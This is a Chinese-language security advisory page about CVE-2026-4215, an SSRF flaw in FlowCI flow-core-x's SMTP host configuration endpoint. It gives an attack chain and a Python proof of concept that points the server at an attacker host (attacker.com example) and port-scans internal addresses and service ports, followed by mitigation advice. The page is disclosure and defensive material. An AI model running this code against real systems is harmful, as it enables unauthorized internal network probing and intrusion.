IPBUF安全漏洞报告
English
CVE-2026-4215 CVSS 6.3 中危

CVE-2026-4215 FlowCI flow-core-x SMTP Host Handler SSRF漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-4215
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FlowCI flow-core-x

相关标签

服务器端请求伪造SSRFFlowCIflow-core-xCVE-2026-4215CI/CDJavaSMTP Host Handler

漏洞概述

CVE-2026-4215是FlowCI flow-core-x中存在的服务器端请求伪造(SSRF)漏洞,CVSS评分6.3,属于中危漏洞。该漏洞影响flow-core-x 1.23.01及之前版本,攻击者可通过操纵SMTP Host Handler配置功能发起SSRF攻击。漏洞位于core/src/main/java/com/flowci/core/config/service/ConfigServiceImpl.java文件中的Save函数。由于SMTP Host Handler在处理主机配置时未对用户输入进行充分验证,攻击者可利用该漏洞让服务器向内部网络资源或外部恶意服务器发起请求,从而实现端口扫描、访问内部服务、读取本地文件等操作。该漏洞可由低权限用户在无需用户交互的情况下远程利用,且利用代码已公开。

技术细节

漏洞存在于FlowCI flow-core-x的ConfigServiceImpl.java文件中Save函数对SMTP Host配置的处理逻辑。攻击者通过构造恶意的SMTP主机地址,利用服务器向指定地址发起请求。攻击者可以指定内部IP地址(如127.0.0.1、192.168.x.x)、内网服务地址或恶意外部服务器地址,从而绕过网络边界限制。由于服务器通常部署在内部网络中,攻击者可利用SSRF探测内网拓扑结构、访问未授权的内部服务(如数据库、Redis、Memcached等)、读取本地文件内容或进行端口扫描。该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L,表明攻击者可通过网络远程利用,需要低权限账号但无需用户交互即可成功利用。

攻击链分析

STEP 1
1
攻击者识别目标系统使用FlowCI flow-core-x且版本<=1.23.01
STEP 2
2
攻击者获取FlowCI平台低权限用户账号
STEP 3
3
访问/api/config/smtp端点构造恶意SMTP Host配置
STEP 4
4
在SMTP Host字段中指定内部IP地址或攻击者控制的外部服务器
STEP 5
5
触发Save函数,服务器向指定地址发起HTTP/SMTP请求
STEP 6
6
通过响应时间或响应内容判断内部服务状态,实现内网探测
STEP 7
7
利用SSRF访问内部数据库、Redis等未授权服务或读取敏感文件

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-4215 PoC - SSRF in FlowCI flow-core-x SMTP Host Handler # Target: FlowCI flow-core-x <= 1.23.01 def exploit_ssrf(target_url, attacker_server): """ Exploit SSRF vulnerability in ConfigServiceImpl.java Save function Args: target_url: Base URL of FlowCI application attacker_server: Attacker's controlled server to receive SSRF requests """ # Construct malicious SMTP host configuration # The Save function in ConfigServiceImpl.java doesn't properly validate # the SMTP host input, allowing attacker to specify arbitrary URLs/IPs smtp_config = { "host": attacker_server, # Attacker-controlled server "port": 80, "type": "smtp" } # Endpoint for saving SMTP configuration endpoint = f"{target_url}/api/config/smtp" try: # Send malicious configuration response = requests.post( endpoint, json=smtp_config, timeout=10, verify=False ) print(f"[*] Request sent to {endpoint}") print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Malicious SMTP host configuration saved successfully") print(f"[*] Server will now make requests to: {attacker_server}") return True else: print(f"[-] Failed to save configuration: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def internal_port_scan(target_url): """ Use SSRF to perform internal port scanning """ internal_ips = ["127.0.0.1", "192.168.1.1", "10.0.0.1"] ports = [22, 80, 443, 3306, 6379, 8080] for ip in internal_ips: for port in ports: smtp_config = { "host": f"{ip}:{port}", "port": port, "type": "smtp" } endpoint = f"{target_url}/api/config/smtp" try: response = requests.post( endpoint, json=smtp_config, timeout=5, verify=False ) # If response time is short, port might be open print(f"[*] Scanned {ip}:{port}") except: pass if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2026-4215-poc.py <target_url> <attacker_server>") print("Example: python cve-2026-4215-poc.py http://flowci.local http://attacker.com") sys.exit(1) target = sys.argv[1] attacker = sys.argv[2] print("[*] CVE-2026-4215 PoC - FlowCI SSRF") print(f"[*] Target: {target}") print(f"[*] Attacker server: {attacker}") exploit_ssrf(target, attacker)

影响范围

FlowCI flow-core-x <= 1.23.01

防御指南

临时缓解措施
在厂商发布修复版本之前,可采取以下临时措施:1) 限制FlowCI应用的网络访问权限,阻止其访问内网资源;2) 禁用或限制SMTP配置功能的访问,仅允许管理员操作;3) 部署Web应用防火墙(WAF)规则,检测和阻止SSRF攻击特征;4) 监控应用日志,关注异常的外部请求行为;5) 定期审计配置接口的访问记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表